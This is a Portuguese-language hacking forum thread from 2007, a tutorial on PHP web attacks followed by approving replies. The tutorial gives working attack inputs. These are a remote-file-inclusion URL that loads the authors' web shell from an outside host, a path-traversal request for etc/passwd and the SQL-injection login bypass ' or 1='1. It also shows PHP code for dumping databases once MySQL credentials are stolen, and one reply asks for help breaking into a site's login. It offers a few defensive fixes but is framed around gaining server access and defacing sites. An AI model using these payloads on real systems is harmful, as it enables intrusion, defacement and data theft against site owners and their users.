[Webhackers] parte 1

Iniciado por branco, 04 de Março , 2007, 11:26:25 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

branco

Webhackers
Akatsuki - insanity, branco



Introdução
   Os artigos webhackers são dedicado a quem deseja saber como funciona a web em geral, detalharemos as principais vulnerabilidades e os métodos utilizados por "hackers" para obter acesso root a servidores, no final você será capaz de utilizar seus conhecimentos para o bem...

Hypertext Preprocessor - PHP
   Essa é a linguagem mais utilizada na web por ser gratuita e de otima perfomance..
por ser bastante usada, existem varios white e black hats buscando vulnerabilidades, alguns para conseguir controle do sistema e pegar informações, como números de cartões de creditos, lista de emails entre outras, muitos tambem conhecidos como defaces utilizam as falhas para fazer defaces ( modificar paginas do site ).

   No php podemos passar dados de várias maneiras, abaixo abordarei os dois principais
GET - passado pela URL, por exemplo www.exemplo.com.br/index.php?usuario=alguem , nesse caso a variavel usuario conterá o valor alguem
POST - esse método é invisivel

Register Globals
register globals faz parte da configuração do php, antes da versão 4.2.0 o php tinha esta opção como ON por padrão, isso nos permite passar um valor para uma variavel que esteja dentro da pagina php, sem tratamento algum, por exemplo

<?php
if (authenticated_user()) {
   
$authorized true;
}
if (
$authorized) {
   include 
"/highly/sensitive/data&#46;php";
}
?>

acima podemos ver que se o usuario for autenticado vai ter acesso a uma pagina restrita, porem como não inicializamos a variavel $authorized = false  ela pode ser passada pela URL como sendo verdadeira, então teriamos acesso ao sistema mesmo sem estarmos logado no site.
exemplo :

www.site.com.br/auth.php?authorized=1

se tivessemos feito assim :

<?php
$authorized 
false;
if (
authenticated_user()) {
   
$authorized true;
}
if (
$authorized) {
   include 
"/highly/sensitive/data&#46;php";
}
?>

então a pagina iria funcionar corretamente, porque mesmo que o valor da variavel seja passado, quando o script inicializar a variavel vai ser sobrescrita com o valor false.
tudo isso acontece porque register globals está ON, então a comunidade decidiu que a partir da versão 4.2.0 o valor padrão para register_globals seria OFF.

obs : pra quem utiliza versões abaixo do 4.2.0 e quiser se proteger, basta ir no php.ini e mudar a opção de register globals para off, ou atualizar o php.

agora pra pegarmos um dado passado pela URL precisamos fazer o seguinte :

<?
$usuario = $_GET['usuario'];
if ($usuario) {
echo "Olá $usuario";
} else {
echo "Olá visitante";
}
?>

acima utilizamos $_GET['usuario'] para pegar o valor da variavel usuario enviada pela URL, por exemplo se a url fosse assim www.site.com.br/index.php?usuario=branco
reproduziria o seguinte Olá branco caso contrario se usuario nenhum fosse passado, Olá visitante .

Topico especial
Podemos fazer muitas coisas apenas avaliando a url de um site atras de possiveis vulnerabilidades como mostrado nos exemplos acima, nos próximos blocos ensinarei a vulnerabilidade PHP injection, a mais utilizada por defaces.

A função include
com include, podemos incluir uma pagina qualquer no nosso site, basta usar

include 'pagina.php';

e a pagina.php vai ser incluida, pode ser tanto uma pagina que esteja armazenada localmente, ou uma na internet por exemplo

include 'http://www.site.com.br'

mas oque isso tem demais ? hmm...você já deve ter reparado que muitas paginas passam como parametro outras paginas para serem incluidas, por exemplo

www.site.com.br/index.php?inc=mercadorias

observe que ele escondeu a extensão .php da pagina, mas geralmente utilizam o codigo abaixo pra tratar esse dado

<?
$pagina = $_GET['inc'];
include $pagina . ".php";
?>
então mercadorias seria reconhecida pelo include como mercadorias.php.

CMD
   Cmd é uma pagina feita em php que utiliza as variaveis de ambiente que dispoem de informações sobre o sistema, como quantidade de espaço no disco rigido, sistema operacional, servidor web, os aplicativos que estão sendo utilizados etc, php tambem disponibiliza funções que são capazes de mostrar, modificar, escrever, deletar etc, arquivos e diretorios.
eu e meu amigo magrinho fizemos uma que pode ser encontrada em www.nershess.orgfree.com/darkers.txt

PHP injection
   Essa vulnerabilidade é muito conhecida pelos defaces, uma das mais utilizadas pela sua facilidade..ela funciona da seguinte maneira
lembra das paginas que sao passadas pela url pra serem incluidas ? pois é, talvez você já tenha percebido...
e se mandassemos o servidor incluir uma cmd oque aconteceria ?
isso mesmo ! como o servidor é serve side, ou seja as paginas são executadas no servidor e apenas o resultado é enviado para os clientes
a cmd seria rodada no servidor e nos mostrado as informações dele, com isso podemos fazer varias coisas como ver arquivos, apagar, modificar etc.
vamos ver então como ficaria pra utilizarmos php injection no nosso velho exemplo

www.site.com.br/index.php?inc=http://www.nershess.orgfree.com/darkers.txt

nesse caso a nossa cmd http://www.nershess.orgfree.com/darkers.txt seria incluida no servidor, mas como vimos a pagina é tratada com o codigo abaixo

<?
$pagina = $_GET['inc'];
include $pagina . ".php";
?>

então nossa cmd ficaria http://www.nershess.orgfree.com/darkers.txt.php e não seria incluida porque ela o endereço dela não é esse...oque podemos fazer então ?
basta colocarmos ?  depois do endereço, que vai dizer ao php que é pra descartar tudo que tiver depois do ? fica assim

www.site.com.br/index.php?inc=http://www.nershess.orgfree.com/darkers.txt?

agora sim nossa pagina foi incluida com sucesso, temos acesso ao servidor e podemos fazer oque a configuração dele nos permitir =]

abaixo segue algumas configurações que você pode ver se estão ativos na opção phpinfo da cmd
obs : as configurações podem mudar de acordo com as versões do php.

Safe Mode
quando o safe mode está habilitado ele faz muitas limitações como por exemplo, não podemos executar comandos shell no sistema, ele desabilita funções como shell, exec,shell_exec, etc
ele tambem é o responsavel por uploads/downloads não funcionarem no servidor, quando está habilitado verifica se o proprietario do script atual é o proprietario do arquivo que esta sendo envolvido na operação, por exemplo pra nós fazermos o upload no servidor vamos ter que por nosso arquivo em um diretorio no servidor, e como o nosso usuario nao é o mesmo que criou o diretorio entao nao vamos poder fazer upload.
os valores dele são ON/OFF

safe_mode_include_dir
checagem de uid não são feitas no diretorio que espeficarmos nessa diretiva, com isso usuarios poderemos fazer uploads nele.
alguem pode configurar essa opção errada e podemos tirar proveito disso, por exemplo safe_mode_include_dir = c:/site
ele esqueceu de feixar o diretorio com barra, então tambem temos acesso ao c: pra evitar isso temos que fazer da seguinte maneira
safe_mode_include_dir = c:/site/

safe_mode_exec_dir
lembra do safe mode bloqueando nossos shells ? ele bloquea inclusive os arquivos que queremos executar no servidor...com essa opção podemos executar arquivos que estejam nos diretorios especificados por essa diretiva.
o valor padrao com safe mode on, é executar apenas arquivos que estejam no mesmo diretorio do script que está sendo executado.

safe_mode_allowed_env_vars

por padrão só podemos editar variaveis de ambiente que comecem com PHP_ porem com essa opção podemos especificar outros tipos de variaveis
obs : "se essa diretiva estiver vazia, o PHP deixará o usuário modificar QUALQUER variável de ambiente!"

safe_mode_protected_env_vars
essa variavel contem uma lista com os prefixos das variaveis de ambiente que o usuario não pode mudar, mesmo que elas estejam no safe_mode_allowed_env_vars... é bom lembrar, no site disse que ele nao pode mudar com putenv, entao se acharmos uma outra opção que possa ser usada pra mudar variaveis de ambientes, funcionará.

doc_root
o diretorio 'raiz' do php no servidor, com safe mode on nenhum arquivo fora desse diretorio pode ser acessado.

As configurações abaixo não são afetadas por safe mode.

open_basedir

quando queremos abrir um arquivo no servidor, ele é aberto com comandos de php como por exemplo fopen(), se especificarmos um diretorio pra open_basedir, os arquivos a serem abertos só podem estar dentro do diretorio, se nao a operaçao vai falhar.
O valor especial .  indica que o diretório de trabalho, onde o script é rodado, será usado como o diretório base. Isso é, no entanto, um pouco perigoso, já que o diretório de trabalho do script pode ser facilmente alterado com a função chdir().

disable_functions

permite desabilitar funções, como por exemplo system, exec, fopen, etc
na cmd do darkers utilizei uma opção pra mostrar as funções que estao sendo bloqueadas por essa diretiva.

include_path
espeficida os diretorios aonde as opções require(), include()  e fopen_with_path() buscaram por arquivos, para abrirem
por exemplo se colocarmos include_path = c:/site/
e usar fopen("arquivo.txt", "r"), então o php procurará pelo arquivo lá na pasta c:/site/ tambem

obs : aconselho todos olhar a configuração do servidor no phpinfo antes de tentar algo.

Como se defender ?
para se proteger podemos desabilitar a opção allow_url_include no php.ini, basta mudarmos ela pra Off ficando allow_url_include = Off, o problema disso é que não vai incluir paginas dos protocolos http:// e ftp:// mas podemos fazer por exemplo www.site.com.br/index.php?inc=etc/passwd?&nbsp; que faria com que o servidor nos mostrasse o arquivo de senhas do servidor ( se for linux claro ), podemos modificar etc/passwd por qualquer arquivo.
entao para concertamos essa vulnerabilidade devemos alem de desativar allow_url_include, temos de usar o seguinte codigo
<?
switch ($_GET['inc']) {
case 'mercadoria':
include "mercadoria.php";
break;

default:
include "index.php";
break;
}
?>

assim se o valor passado pela url na variavel inc for mercadoria, incluira a pagina mercadoria, caso contrario o valor default que é index.php

PHP + Mysql

Mysql é um servidor de banco de dados, após você instalar ele fica ouvindo em uma porta ( geralmente 3306 ) esperando conecções.
o php da suporte à mysql, para se conectar nele precisamos utilizar username e senha..
muitas vezes encontramos configurações nos servidores que não nos deixam fazer quase nada, a não ser ler os arquivos.
é ai que entra o mysql, a maioria dos sites o utilizam e com ele podemos ter as informações mais valiosas do servidor, como a senha do usuario root para conseguir acesso a tudo atraves de um painel ( caso exista ), podemos tambem encontrar informações convidenciais etc...

supondo que acabamos de conseguir acesso a um sistema, nele nao conseguimos fazer nada alem de ler os codigos de fonte das paginas, ai damos uma olhada no phpinfo e verificamos que o mysql está on...então é facil conseguir obter o usuario e a senha para se conectar ao mysql, basta olharmos o codigo de fonte das paginas ue.. vc nao conhece os comandos ? vamos aos exemplos

o comando para se conectar no mysql é o seguinte

<?
mysql_connect("localhost", "usuario", "senha")
?>

localhost - host no qual o mysql vai se conectar
usuario - usuario do mysql  ( geralmente root )
senha - senha do mysql ( padrão é vazio )

agora é só agente pegar o usuario e senha, se conectar ao mysql e pegar as informações que queremos...se você não sabe fazer instruções em sql basta usar nossa cmd, lá tem a opção Mysql, você só precisa informar o usuario e senha que ela se conecta no mysql, mostra todos os bancos de dados e todas as tabelas existente em cada um deles, depois é só vc digitar o nome da tabela que quer visualizar.

caso você queira aprender mais e fazer seus proprios arquivos de instruções sql, algumas opções :
<?
mysql_connect("localhost", "usuario", "senha");
$a = mysql_query("show databases");
while ($b = mysql_fetch_array($a)) {
echo $b[0];
}
?>

com esse comando vc veria o primeiro db, depois basta trocar $b[0] por [1] e assim sucessivamente até ver todos bancos de dados que tem, depois vc pode utilizar algo como

<?
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("registros");
$query = mysql_query("select * from clientes");
while ($a = mysql_fetch_array($query)) {
echo $a[0];
}
?>

agora vc selecionou o banco 'registros' e pegou tudo da tabela clientes com 'select *( tudo ) from clientes'..

Essa tecnica não se aplica somente ao mysql, por isso aconselho vocês a estudarem comandos sql pra poderem utilizar outros bancos de dados, php da suporte a muitos.

Como se defender ?
digamos que seja impossivel.
a pagina de login precisa se conectar ao mysql na tabela de usuarios pra validar os logins, se ela pode outros usuarios tambem podem...
oque você pode fazer é aumentar a segurança do seu servidor para que não cheguem ao ponto de se conectarem ao mysql..não se esqueçam que o php é serve side, tudo que ele pode fazer hackers tambem podem porque é ele que executa os comandos passados por terceiros, vale lembrar tambem que estou falando de servidor e não de um sub dominio.

Sql injection
Sql injection é a tecnica utilizada para fazer instruções em banco de dados que não escapam os dados enviados pelos usuarios, por exemplo
supondo que vamos validar um login com a seguinte instrução

select * from users where user='{$username}' and senha='{$senha}'

no exemplo acima pegamos a variavel $username e procuramos no banco de dados um user que tenha o mesmo username e senha que foi informado na nossa pagina de login, para burlar essa instrução e conseguir acesso mesmo sem termos registrado faça o seguinte

digite no username o valor
' or 1='1
e na senha a mesma coisa

vai acontecer o seguinte na instrução

select * from users where user=' ' or 1='1' and senha=' ' or 1='1'

e essa instrução é considerada verdadeira porque vai achar todos users do banco de dados, podemos tambem utilizar essa tecnica para logar como administrador, por exemplo

usuario = administrador
senha = ' or 1='1

vai acontecer o seguinte

select * from users where user='administrador' and senha=' ' or 1='1'

que retornara true =]

Como se defender ?
pra se defender basta ativar magic_quotes_gpc no php.ini ( é ativado por padrão, mas se tiver OFF coloque ON ) que vai colocar \ antes de aspas simples, duplas e barra invertida nos dados vindo de GET, POST e cookies.
demonstração :
usuario = administrador
senha = ' or 1='1

select * from users where user='administrador' and senha=' \' or 1=\'1'

que retorna false, porque a senha do administrador não é ' or 1='1 .
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Quicky

Muito bom kra :}
php sem dúvida é fantástico
acho que essa semana vou está pegando um livro de php pra ler
flw aew
Just Me...

Mental_Way

Bom tutorial, explicou como funciona os principais metodos de invasão a web sites com  SQL e PHP.

Porém deixou a desejar sobre o conteudo de SQL, poderia ter mostrados outros metodos de SQL injection, ou seja, não ficar somente em acesso a login e senha que quase não tem site vul. Poderia ter mostrados metodos de visualização de tabelas e inclusão de dados.

Espero ter ajudado...

Sem +...
[RitualistaS GrouP]

"Aquele que sabe pouco rapidamente revela isto."

Anonymous


DarkGenesis


insanity

Opa, muito bom hehe, em breve mais...

eb0x

Excelente ... tutorial, mandou muito bem.

format pro C

Casanova

Branco  venho aqui tecer mais elogios a vc e também recomendar que vc continue são artigos assim que eu acho uma fonte rica de aprendizagem, porque?

Porque vc mostrou outro lado do PHP estou tentando aprender sozinho PHP e o que aprendo?
Isso é uma variavel blabla bla ....

Vc falou sobre a o PHP e mostrou a vul nele...  assim como eu estava tentando aprender Delphi mas o que estava aprendendo não era exatamente o que eu queria lá estava eu fazendo programa de estoque em vez de trojan ou Keylog etc..

É isso o que procuro digamos aprender esse lado oculto da internet da programação o que não ensinam nas faculdades...rssss

Valeu Branco !!!!

branco

muito obrigado pelo apoio pessoal, em breve estarei disponibilizando pra galera o blog da akatsuki, pra ficar mais acessivel à todos que gostam do hacking em geral, por enquanto estamos nos organizando mais =] valew pelos elogios e pelas criticas, espero conseguir demonstrar melhor os objetos no proximo artigo,
até mais  ;)
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

lcs

Fantastico, muito bom o conteudo, fica ai a sugestão para criar paginas com as vulnerabilidades citadas para a galera ver como fica.. falowww
Pra que viver sem sentido.

ne0h_

cara ficou bom demais ta de parabéns pelo artigo.Explico muito bem não se acha facil um artigo bem explicado na net como esse que foi feito,fico r0x...


longa vida a Akatsuki.
"O inimigo mais perigoso que você poderá encontrar será sempre você mesmo." (Nietzsche)

"A matemática, talvez a ciência mais exata que existe, explica a desigualdade social: Nos é ensinado primeiro a somar do que a dividir."

"Há três coisas na vida que nunca voltam atrás: a flecha lançada, a palavra pronunciada e a oportunidade perdida." (Provérbio Chinês)

Anonymous

Primeiro desculpem por dar uma ressucitada no tópico, tem mais de dois meses que ninguém posta nada e tal...

Tipo branco, gostei do tutorial apesar de que quando chegou no MySQL eu compliquei tudo  :P

Mas você poderia falar um pouco sobre o método POST do PHP?

O GET eu entendi, mas você deixou de falar sobre o POST e atualmente eu estou tentando explorar uma vulnerabilidade de um site que usa o POST no campo de login.

Basicamente assim:
POST userid=&user_pass=&checkbox=Estou testando com uma conta de acesso restrito que eu tenho.
Seria login "umlogin" e senha "123456"

Eu até tentei usar assim:

www.site.com.br/index.php?umlogin=&123456=&checkbox=

(No checkbox eu não sei o que utilizar, mas o checkbox é aqueles negócios tipo "Lembre-se de mim", etc... - Deixei em branco, coloquei valor 0 e valor 1, mas nada deu certo, apenas volta ao campo de login)


PS.: Não sei se tem algo relacionado, mas o scanner encontrou uma vulnerabilidade "PHPSESSID session fixation"


Obrigado pela atenção

Zero cool

Muito bom branco, meus parabens.

HadeS

Realmente, ficou legal. Só acho que ficou meio no básico.

Como já foi citado, a parte de SQL Injection ficou MUITO pobre. Depois posto aqui alguma coisa pra poder melhorar a parte de SQL Injection.

E só uma coisa pra corrigir:

Citar[...]conhecidos como defaces utilizam as falhas para fazer defaces[...]

O correto seria: "como defaceRs utilizam", defacer é quem faz defacements, ou ainda o tal do deface.

HadeS

thorking

fantastico melhjor que isso impossivel ! cm ceteza vai ajudar muito!